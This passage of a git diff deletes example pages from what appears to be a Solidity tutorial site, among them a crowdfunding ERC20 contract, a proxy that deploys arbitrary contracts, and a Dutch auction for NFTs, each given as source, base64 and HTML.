require(!campaign.claimed, "claimed"); - - campaign.claimed = true; - token.transfer(campaign.creator, campaign.pledged); - - emit Claim(_id); - } - - function refund(uint _id) external { - Campaign memory campaign = campaigns[_id]; - require(block.timestamp > campaign.endAt, "not ended"); - require(campaign.pledged < campaign.goal, "pledged >= goal"); - - uint bal = pledgedAmount[_id][msg.sender]; - pledgedAmount[_id][msg.sender] = 0; - token.transfer(msg.sender, bal); - - emit Refund(_id, msg.sender, bal); - } -} diff --git a/src/pages/app/crowd-fund/index.html.ts b/src/pages/app/crowd-fund/index.html.ts deleted file mode 100644 index f7a695455..000000000 --- a/src/pages/app/crowd-fund/index.html.ts +++ /dev/null @@ -1,150 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Crowd Fund" -export const description = "An example of crowd funding contract" - -export const keywords = ["app", "application", "crowd", "fund", "funding"] - -export const codes = [ - { - fileName: "CrowdFund.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwp9Cgpjb250cmFjdCBDcm93ZEZ1bmQgewogICAgZXZlbnQgTGF1bmNoKAogICAgICAgIHVpbnQgaWQsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIGNyZWF0b3IsCiAgICAgICAgdWludCBnb2FsLAogICAgICAgIHVpbnQzMiBzdGFydEF0LAogICAgICAgIHVpbnQzMiBlbmRBdAogICAgKTsKICAgIGV2ZW50IENhbmNlbCh1aW50IGlkKTsKICAgIGV2ZW50IFBsZWRnZSh1aW50IGluZGV4ZWQgaWQsIGFkZHJlc3MgaW5kZXhlZCBjYWxsZXIsIHVpbnQgYW1vdW50KTsKICAgIGV2ZW50IFVucGxlZGdlKHVpbnQgaW5kZXhlZCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludCBhbW91bnQpOwogICAgZXZlbnQgQ2xhaW0odWludCBpZCk7CiAgICBldmVudCBSZWZ1bmQodWludCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludCBhbW91bnQpOwoKICAgIHN0cnVjdCBDYW1wYWlnbiB7CiAgICAgICAgLy8gQ3JlYXRvciBvZiBjYW1wYWlnbgogICAgICAgIGFkZHJlc3MgY3JlYXRvcjsKICAgICAgICAvLyBBbW91bnQgb2YgdG9rZW5zIHRvIHJhaXNlCiAgICAgICAgdWludCBnb2FsOwogICAgICAgIC8vIFRvdGFsIGFtb3VudCBwbGVkZ2VkCiAgICAgICAgdWludCBwbGVkZ2VkOwogICAgICAgIC8vIFRpbWVzdGFtcCBvZiBzdGFydCBvZiBjYW1wYWlnbgogICAgICAgIHVpbnQzMiBzdGFydEF0OwogICAgICAgIC8vIFRpbWVzdGFtcCBvZiBlbmQgb2YgY2FtcGFpZ24KICAgICAgICB1aW50MzIgZW5kQXQ7CiAgICAgICAgLy8gVHJ1ZSBpZiBnb2FsIHdhcyByZWFjaGVkIGFuZCBjcmVhdG9yIGhhcyBjbGFpbWVkIHRoZSB0b2tlbnMuCiAgICAgICAgYm9vbCBjbGFpbWVkOwogICAgfQoKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwogICAgLy8gVG90YWwgY291bnQgb2YgY2FtcGFpZ25zIGNyZWF0ZWQuCiAgICAvLyBJdCBpcyBhbHNvIHVzZWQgdG8gZ2VuZXJhdGUgaWQgZm9yIG5ldyBjYW1wYWlnbnMuCiAgICB1aW50IHB1YmxpYyBjb3VudDsKICAgIC8vIE1hcHBpbmcgZnJvbSBpZCB0byBDYW1wYWlnbgogICAgbWFwcGluZyh1aW50ID0+IENhbXBhaWduKSBwdWJsaWMgY2FtcGFpZ25zOwogICAgLy8gTWFwcGluZyBmcm9tIGNhbXBhaWduIGlkID0+IHBsZWRnZXIgPT4gYW1vdW50IHBsZWRnZWQKICAgIG1hcHBpbmcodWludCA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludCkpIHB1YmxpYyBwbGVkZ2VkQW1vdW50OwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3Rva2VuKSB7CiAgICAgICAgdG9rZW4gPSBJRVJDMjAoX3Rva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXVuY2godWludCBfZ29hbCwgdWludDMyIF9zdGFydEF0LCB1aW50MzIgX2VuZEF0KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShfc3RhcnRBdCA+PSBibG9jay50aW1lc3RhbXAsICJzdGFydCBhdCA8IG5vdyIpOwogICAgICAgIHJlcXVpcmUoX2VuZEF0ID49IF9zdGFydEF0LCAiZW5kIGF0IDwgc3RhcnQgYXQiKTsKICAgICAgICByZXF1aXJlKF9lbmRBdCA8PSBibG9jay50aW1lc3RhbXAgKyA5MCBkYXlzLCAiZW5kIGF0ID4gbWF4IGR1cmF0aW9uIik7CgogICAgICAgIGNvdW50ICs9IDE7CiAgICAgICAgY2FtcGFpZ25zW2NvdW50XSA9IENhbXBhaWduKHsKICAgICAgICAgICAgY3JlYXRvcjogbXNnLnNlbmRlciwKICAgICAgICAgICAgZ29hbDogX2dvYWwsCiAgICAgICAgICAgIHBsZWRnZWQ6IDAsCiAgICAgICAgICAgIHN0YXJ0QXQ6IF9zdGFydEF0LAogICAgICAgICAgICBlbmRBdDogX2VuZEF0LAogICAgICAgICAgICBjbGFpbWVkOiBmYWxzZQogICAgICAgIH0pOwoKICAgICAgICBlbWl0IExhdW5jaChjb3VudCwgbXNnLnNlbmRlciwgX2dvYWwsIF9zdGFydEF0LCBfZW5kQXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbmNlbCh1aW50IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIG1lbW9yeSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoY2FtcGFpZ24uY3JlYXRvciA9PSBtc2cuc2VuZGVyLCAibm90IGNyZWF0b3IiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGNhbXBhaWduLnN0YXJ0QXQsICJzdGFydGVkIik7CgogICAgICAgIGRlbGV0ZSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICBlbWl0IENhbmNlbChfaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHBsZWRnZSh1aW50IF9pZCwgdWludCBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgQ2FtcGFpZ24gc3RvcmFnZSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGNhbXBhaWduLnN0YXJ0QXQsICJub3Qgc3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDw9IGNhbXBhaWduLmVuZEF0LCAiZW5kZWQiKTsKCiAgICAgICAgY2FtcGFpZ24ucGxlZGdlZCArPSBfYW1vdW50OwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSArPSBfYW1vdW50OwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKCiAgICAgICAgZW1pdCBQbGVkZ2UoX2lkLCBtc2cuc2VuZGVyLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bnBsZWRnZSh1aW50IF9pZCwgdWludCBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgQ2FtcGFpZ24gc3RvcmFnZSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDw9IGNhbXBhaWduLmVuZEF0LCAiZW5kZWQiKTsKCiAgICAgICAgY2FtcGFpZ24ucGxlZGdlZCAtPSBfYW1vdW50OwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwoKICAgICAgICBlbWl0IFVucGxlZGdlKF9pZCwgbXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gY2xhaW0odWludCBfaWQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5jcmVhdG9yID09IG1zZy5zZW5kZXIsICJub3QgY3JlYXRvciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPj0gY2FtcGFpZ24uZ29hbCwgInBsZWRnZWQgPCBnb2FsIik7CiAgICAgICAgcmVxdWlyZSghY2FtcGFpZ24uY2xhaW1lZCwgImNsYWltZWQiKTsKCiAgICAgICAgY2FtcGFpZ24uY2xhaW1lZCA9IHRydWU7CiAgICAgICAgdG9rZW4udHJhbnNmZXIoY2FtcGFpZ24uY3JlYXRvciwgY2FtcGFpZ24ucGxlZGdlZCk7CgogICAgICAgIGVtaXQgQ2xhaW0oX2lkKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZWZ1bmQodWludCBfaWQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBtZW1vcnkgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGNhbXBhaWduLmVuZEF0LCAibm90IGVuZGVkIik7CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5wbGVkZ2VkIDwgY2FtcGFpZ24uZ29hbCwgInBsZWRnZWQgPj0gZ29hbCIpOwoKICAgICAgICB1aW50IGJhbCA9IHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXTsKICAgICAgICBwbGVkZ2VkQW1vdW50W19pZF1bbXNnLnNlbmRlcl0gPSAwOwogICAgICAgIHRva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGJhbCk7CgogICAgICAgIGVtaXQgUmVmdW5kKF9pZCwgbXNnLnNlbmRlciwgYmFsKTsKICAgIH0KfQo=", - }, -] - -const html = `

Crowd fund ERC20 token

-
    -
  1. User creates a campaign.
  2. -
  3. Users can pledge, transferring their token to a campaign.
  4. -
  5. After the campaign ends, campaign creator can claim the funds if total amount pledged is more than the campaign goal.
  6. -
  7. Otherwise, campaign did not reach it's goal, users can withdraw their pledge.
  8. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-interface IERC20 {
-    function transfer(address, uint) external returns (bool);
-
-    function transferFrom(address, address, uint) external returns (bool);
-}
-
-contract CrowdFund {
-    event Launch(
-        uint id,
-        address indexed creator,
-        uint goal,
-        uint32 startAt,
-        uint32 endAt
-    );
-    event Cancel(uint id);
-    event Pledge(uint indexed id, address indexed caller, uint amount);
-    event Unpledge(uint indexed id, address indexed caller, uint amount);
-    event Claim(uint id);
-    event Refund(uint id, address indexed caller, uint amount);
-
-    struct Campaign {
-        // Creator of campaign
-        address creator;
-        // Amount of tokens to raise
-        uint goal;
-        // Total amount pledged
-        uint pledged;
-        // Timestamp of start of campaign
-        uint32 startAt;
-        // Timestamp of end of campaign
-        uint32 endAt;
-        // True if goal was reached and creator has claimed the tokens.
-        bool claimed;
-    }
-
-    IERC20 public immutable token;
-    // Total count of campaigns created.
-    // It is also used to generate id for new campaigns.
-    uint public count;
-    // Mapping from id to Campaign
-    mapping(uint => Campaign) public campaigns;
-    // Mapping from campaign id => pledger => amount pledged
-    mapping(uint => mapping(address => uint)) public pledgedAmount;
-
-    constructor(address _token) {
-        token = IERC20(_token);
-    }
-
-    function launch(uint _goal, uint32 _startAt, uint32 _endAt) external {
-        require(_startAt >= block.timestamp, "start at < now");
-        require(_endAt >= _startAt, "end at < start at");
-        require(_endAt <= block.timestamp + 90 days, "end at > max duration");
-
-        count += 1;
-        campaigns[count] = Campaign({
-            creator: msg.sender,
-            goal: _goal,
-            pledged: 0,
-            startAt: _startAt,
-            endAt: _endAt,
-            claimed: false
-        });
-
-        emit Launch(count, msg.sender, _goal, _startAt, _endAt);
-    }
-
-    function cancel(uint _id) external {
-        Campaign memory campaign = campaigns[_id];
-        require(campaign.creator == msg.sender, "not creator");
-        require(block.timestamp < campaign.startAt, "started");
-
-        delete campaigns[_id];
-        emit Cancel(_id);
-    }
-
-    function pledge(uint _id, uint _amount) external {
-        Campaign storage campaign = campaigns[_id];
-        require(block.timestamp >= campaign.startAt, "not started");
-        require(block.timestamp <= campaign.endAt, "ended");
-
-        campaign.pledged += _amount;
-        pledgedAmount[_id][msg.sender] += _amount;
-        token.transferFrom(msg.sender, address(this), _amount);
-
-        emit Pledge(_id, msg.sender, _amount);
-    }
-
-    function unpledge(uint _id, uint _amount) external {
-        Campaign storage campaign = campaigns[_id];
-        require(block.timestamp <= campaign.endAt, "ended");
-
-        campaign.pledged -= _amount;
-        pledgedAmount[_id][msg.sender] -= _amount;
-        token.transfer(msg.sender, _amount);
-
-        emit Unpledge(_id, msg.sender, _amount);
-    }
-
-    function claim(uint _id) external {
-        Campaign storage campaign = campaigns[_id];
-        require(campaign.creator == msg.sender, "not creator");
-        require(block.timestamp > campaign.endAt, "not ended");
-        require(campaign.pledged >= campaign.goal, "pledged < goal");
-        require(!campaign.claimed, "claimed");
-
-        campaign.claimed = true;
-        token.transfer(campaign.creator, campaign.pledged);
-
-        emit Claim(_id);
-    }
-
-    function refund(uint _id) external {
-        Campaign memory campaign = campaigns[_id];
-        require(block.timestamp > campaign.endAt, "not ended");
-        require(campaign.pledged < campaign.goal, "pledged >= goal");
-
-        uint bal = pledgedAmount[_id][msg.sender];
-        pledgedAmount[_id][msg.sender] = 0;
-        token.transfer(msg.sender, bal);
-
-        emit Refund(_id, msg.sender, bal);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/crowd-fund/index.md b/src/pages/app/crowd-fund/index.md deleted file mode 100644 index 7934cda38..000000000 --- a/src/pages/app/crowd-fund/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Crowd Fund -version: 0.8.20 -description: An example of crowd funding contract -keywords: [app, application, crowd, fund, funding] ---- - -Crowd fund ERC20 token - -1. User creates a campaign. -2. Users can pledge, transferring their token to a campaign. -3. After the campaign ends, campaign creator can claim the funds if total amount pledged is more than the campaign goal. -4. Otherwise, campaign did not reach it's goal, users can withdraw their pledge. - -```solidity -{{{CrowdFund}}} -``` diff --git a/src/pages/app/crowd-fund/index.tsx b/src/pages/app/crowd-fund/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/crowd-fund/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/deploy-any-contract/Proxy.sol b/src/pages/app/deploy-any-contract/Proxy.sol deleted file mode 100644 index bb80b6bb1..000000000 --- a/src/pages/app/deploy-any-contract/Proxy.sol +++ /dev/null @@ -1,64 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Proxy { - event Deploy(address); - - receive() external payable {} - - function deploy(bytes memory _code) external payable returns (address addr) { - assembly { - // create(v, p, n) - // v = amount of ETH to send - // p = pointer in memory to start of code - // n = size of code - addr := create(callvalue(), add(_code, 0x20), mload(_code)) - } - // return address 0 on error - require(addr != address(0), "deploy failed"); - - emit Deploy(addr); - } - - function execute(address _target, bytes memory _data) external payable { - (bool success, ) = _target.call{value: msg.value}(_data); - require(success, "failed"); - } -} - -contract TestContract1 { - address public owner = msg.sender; - - function setOwner(address _owner) public { - require(msg.sender == owner, "not owner"); - owner = _owner; - } -} - -contract TestContract2 { - address public owner = msg.sender; - uint public value = msg.value; - uint public x; - uint public y; - - constructor(uint _x, uint _y) payable { - x = _x; - y = _y; - } -} - -contract Helper { - function getBytecode1() external pure returns (bytes memory) { - bytes memory bytecode = type(TestContract1).creationCode; - return bytecode; - } - - function getBytecode2(uint _x, uint _y) external pure returns (bytes memory) { - bytes memory bytecode = type(TestContract2).creationCode; - return abi.encodePacked(bytecode, abi.encode(_x, _y)); - } - - function getCalldata(address _owner) external pure returns (bytes memory) { - return abi.encodeWithSignature("setOwner(address)", _owner); - } -} diff --git a/src/pages/app/deploy-any-contract/index.html.ts b/src/pages/app/deploy-any-contract/index.html.ts deleted file mode 100644 index bc7026fcf..000000000 --- a/src/pages/app/deploy-any-contract/index.html.ts +++ /dev/null @@ -1,83 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Deploy Any Contract" -export const description = "Deploy Any Contract" - -export const keywords = ["app", "application", "deploy", "any", "contract"] - -export const codes = [ - { - fileName: "Proxy.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpIGV4dGVybmFsIHBheWFibGUgcmV0dXJucyAoYWRkcmVzcyBhZGRyKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBjcmVhdGUodiwgcCwgbikKICAgICAgICAgICAgLy8gdiA9IGFtb3VudCBvZiBFVEggdG8gc2VuZAogICAgICAgICAgICAvLyBwID0gcG9pbnRlciBpbiBtZW1vcnkgdG8gc3RhcnQgb2YgY29kZQogICAgICAgICAgICAvLyBuID0gc2l6ZSBvZiBjb2RlCiAgICAgICAgICAgIGFkZHIgOj0gY3JlYXRlKGNhbGx2YWx1ZSgpLCBhZGQoX2NvZGUsIDB4MjApLCBtbG9hZChfY29kZSkpCiAgICAgICAgfQogICAgICAgIC8vIHJldHVybiBhZGRyZXNzIDAgb24gZXJyb3IKICAgICAgICByZXF1aXJlKGFkZHIgIT0gYWRkcmVzcygwKSwgImRlcGxveSBmYWlsZWQiKTsKCiAgICAgICAgZW1pdCBEZXBsb3koYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZXhlY3V0ZShhZGRyZXNzIF90YXJnZXQsIGJ5dGVzIG1lbW9yeSBfZGF0YSkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfShfZGF0YSk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiZmFpbGVkIik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RDb250cmFjdDEgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIgPSBtc2cuc2VuZGVyOwoKICAgIGZ1bmN0aW9uIHNldE93bmVyKGFkZHJlc3MgX293bmVyKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIG93bmVyID0gX293bmVyOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QyIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIHVpbnQgcHVibGljIHZhbHVlID0gbXNnLnZhbHVlOwogICAgdWludCBwdWJsaWMgeDsKICAgIHVpbnQgcHVibGljIHk7CgogICAgY29uc3RydWN0b3IodWludCBfeCwgdWludCBfeSkgcGF5YWJsZSB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHkgPSBfeTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gdHlwZShUZXN0Q29udHJhY3QxKS5jcmVhdGlvbkNvZGU7CiAgICAgICAgcmV0dXJuIGJ5dGVjb2RlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMih1aW50IF94LCB1aW50IF95KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIGJ5dGVzIG1lbW9yeSBieXRlY29kZSA9IHR5cGUoVGVzdENvbnRyYWN0MikuY3JlYXRpb25Db2RlOwogICAgICAgIHJldHVybiBhYmkuZW5jb2RlUGFja2VkKGJ5dGVjb2RlLCBhYmkuZW5jb2RlKF94LCBfeSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENhbGxkYXRhKGFkZHJlc3MgX293bmVyKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgic2V0T3duZXIoYWRkcmVzcykiLCBfb3duZXIpOwogICAgfQp9Cg==", - }, -] - -const html = `

Deploy any contract by calling Proxy.deploy(bytes memory _code)

-

For this example, you can get the contract bytecodes by calling Helper.getBytecode1 and Helper.getBytecode2

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Proxy {
-    event Deploy(address);
-
-    receive() external payable {}
-
-    function deploy(bytes memory _code) external payable returns (address addr) {
-        assembly {
-            // create(v, p, n)
-            // v = amount of ETH to send
-            // p = pointer in memory to start of code
-            // n = size of code
-            addr := create(callvalue(), add(_code, 0x20), mload(_code))
-        }
-        // return address 0 on error
-        require(addr != address(0), "deploy failed");
-
-        emit Deploy(addr);
-    }
-
-    function execute(address _target, bytes memory _data) external payable {
-        (bool success, ) = _target.call{value: msg.value}(_data);
-        require(success, "failed");
-    }
-}
-
-contract TestContract1 {
-    address public owner = msg.sender;
-
-    function setOwner(address _owner) public {
-        require(msg.sender == owner, "not owner");
-        owner = _owner;
-    }
-}
-
-contract TestContract2 {
-    address public owner = msg.sender;
-    uint public value = msg.value;
-    uint public x;
-    uint public y;
-
-    constructor(uint _x, uint _y) payable {
-        x = _x;
-        y = _y;
-    }
-}
-
-contract Helper {
-    function getBytecode1() external pure returns (bytes memory) {
-        bytes memory bytecode = type(TestContract1).creationCode;
-        return bytecode;
-    }
-
-    function getBytecode2(uint _x, uint _y) external pure returns (bytes memory) {
-        bytes memory bytecode = type(TestContract2).creationCode;
-        return abi.encodePacked(bytecode, abi.encode(_x, _y));
-    }
-
-    function getCalldata(address _owner) external pure returns (bytes memory) {
-        return abi.encodeWithSignature("setOwner(address)", _owner);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/deploy-any-contract/index.md b/src/pages/app/deploy-any-contract/index.md deleted file mode 100644 index 8b63198db..000000000 --- a/src/pages/app/deploy-any-contract/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Deploy Any Contract -version: 0.8.20 -description: Deploy Any Contract -keywords: [app, application, deploy, any, contract] ---- - -Deploy any contract by calling `Proxy.deploy(bytes memory _code)` - -For this example, you can get the contract bytecodes by calling `Helper.getBytecode1` and `Helper.getBytecode2` - -```solidity -{{{Proxy}}} -``` diff --git a/src/pages/app/deploy-any-contract/index.tsx b/src/pages/app/deploy-any-contract/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/deploy-any-contract/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/dutch-auction/DutchAuction.sol b/src/pages/app/dutch-auction/DutchAuction.sol deleted file mode 100644 index cf9d909e0..000000000 --- a/src/pages/app/dutch-auction/DutchAuction.sol +++ /dev/null @@ -1,52 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -interface IERC721 { - function transferFrom(address _from, address _to, uint _nftId) external; -} - -contract DutchAuction { - uint private constant DURATION = 7 days; - - IERC721 public immutable nft; - uint public immutable nftId; - - address payable public immutable seller; - uint public immutable startingPrice; - uint public immutable startAt; - uint public immutable expiresAt; - uint public immutable discountRate; - - constructor(uint _startingPrice, uint _discountRate, address _nft, uint _nftId) { - seller = payable(msg.sender); - startingPrice = _startingPrice; - startAt = block.timestamp; - expiresAt = block.timestamp + DURATION; - discountRate = _discountRate; - - require(_startingPrice >= _discountRate * DURATION, "starting price < min"); - - nft = IERC721(_nft); - nftId = _nftId; - } - - function getPrice() public view returns (uint) { - uint timeElapsed = block.timestamp - startAt; - uint discount = discountRate * timeElapsed; - return startingPrice - discount; - } - - function buy() external payable { - require(block.timestamp < expiresAt, "auction expired"); - - uint price = getPrice(); - require(msg.value >= price, "ETH < price"); - - nft.transferFrom(seller, msg.sender, nftId); - uint refund = msg.value - price; - if (refund > 0) { - payable(msg.sender).transfer(refund); - } - selfdestruct(seller); - } -} diff --git a/src/pages/app/dutch-auction/index.html.ts b/src/pages/app/dutch-auction/index.html.ts deleted file mode 100644 index 9bbd4c045..000000000 --- a/src/pages/app/dutch-auction/index.html.ts +++ /dev/null @@ -1,78 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Dutch Auction" -export const description = "An example of Dutch auction in Solidity" - -export const keywords = ["app", "application", "dutch", "auction", "auctions"] - -export const codes = [ - { - fileName: "DutchAuction.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludCBfbmZ0SWQpIGV4dGVybmFsOwp9Cgpjb250cmFjdCBEdXRjaEF1Y3Rpb24gewogICAgdWludCBwcml2YXRlIGNvbnN0YW50IERVUkFUSU9OID0gNyBkYXlzOwoKICAgIElFUkM3MjEgcHVibGljIGltbXV0YWJsZSBuZnQ7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBpbW11dGFibGUgc2VsbGVyOwogICAgdWludCBwdWJsaWMgaW1tdXRhYmxlIHN0YXJ0aW5nUHJpY2U7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgc3RhcnRBdDsKICAgIHVpbnQgcHVibGljIGltbXV0YWJsZSBleHBpcmVzQXQ7CiAgICB1aW50IHB1YmxpYyBpbW11dGFibGUgZGlzY291bnRSYXRlOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQgX3N0YXJ0aW5nUHJpY2UsIHVpbnQgX2Rpc2NvdW50UmF0ZSwgYWRkcmVzcyBfbmZ0LCB1aW50IF9uZnRJZCkgewogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgc3RhcnRpbmdQcmljZSA9IF9zdGFydGluZ1ByaWNlOwogICAgICAgIHN0YXJ0QXQgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICAgICAgZGlzY291bnRSYXRlID0gX2Rpc2NvdW50UmF0ZTsKCiAgICAgICAgcmVxdWlyZShfc3RhcnRpbmdQcmljZSA+PSBfZGlzY291bnRSYXRlICogRFVSQVRJT04sICJzdGFydGluZyBwcmljZSA8IG1pbiIpOwoKICAgICAgICBuZnQgPSBJRVJDNzIxKF9uZnQpOwogICAgICAgIG5mdElkID0gX25mdElkOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFByaWNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHVpbnQgdGltZUVsYXBzZWQgPSBibG9jay50aW1lc3RhbXAgLSBzdGFydEF0OwogICAgICAgIHVpbnQgZGlzY291bnQgPSBkaXNjb3VudFJhdGUgKiB0aW1lRWxhcHNlZDsKICAgICAgICByZXR1cm4gc3RhcnRpbmdQcmljZSAtIGRpc2NvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1eSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgZXhwaXJlc0F0LCAiYXVjdGlvbiBleHBpcmVkIik7CgogICAgICAgIHVpbnQgcHJpY2UgPSBnZXRQcmljZSgpOwogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IHByaWNlLCAiRVRIIDwgcHJpY2UiKTsKCiAgICAgICAgbmZ0LnRyYW5zZmVyRnJvbShzZWxsZXIsIG1zZy5zZW5kZXIsIG5mdElkKTsKICAgICAgICB1aW50IHJl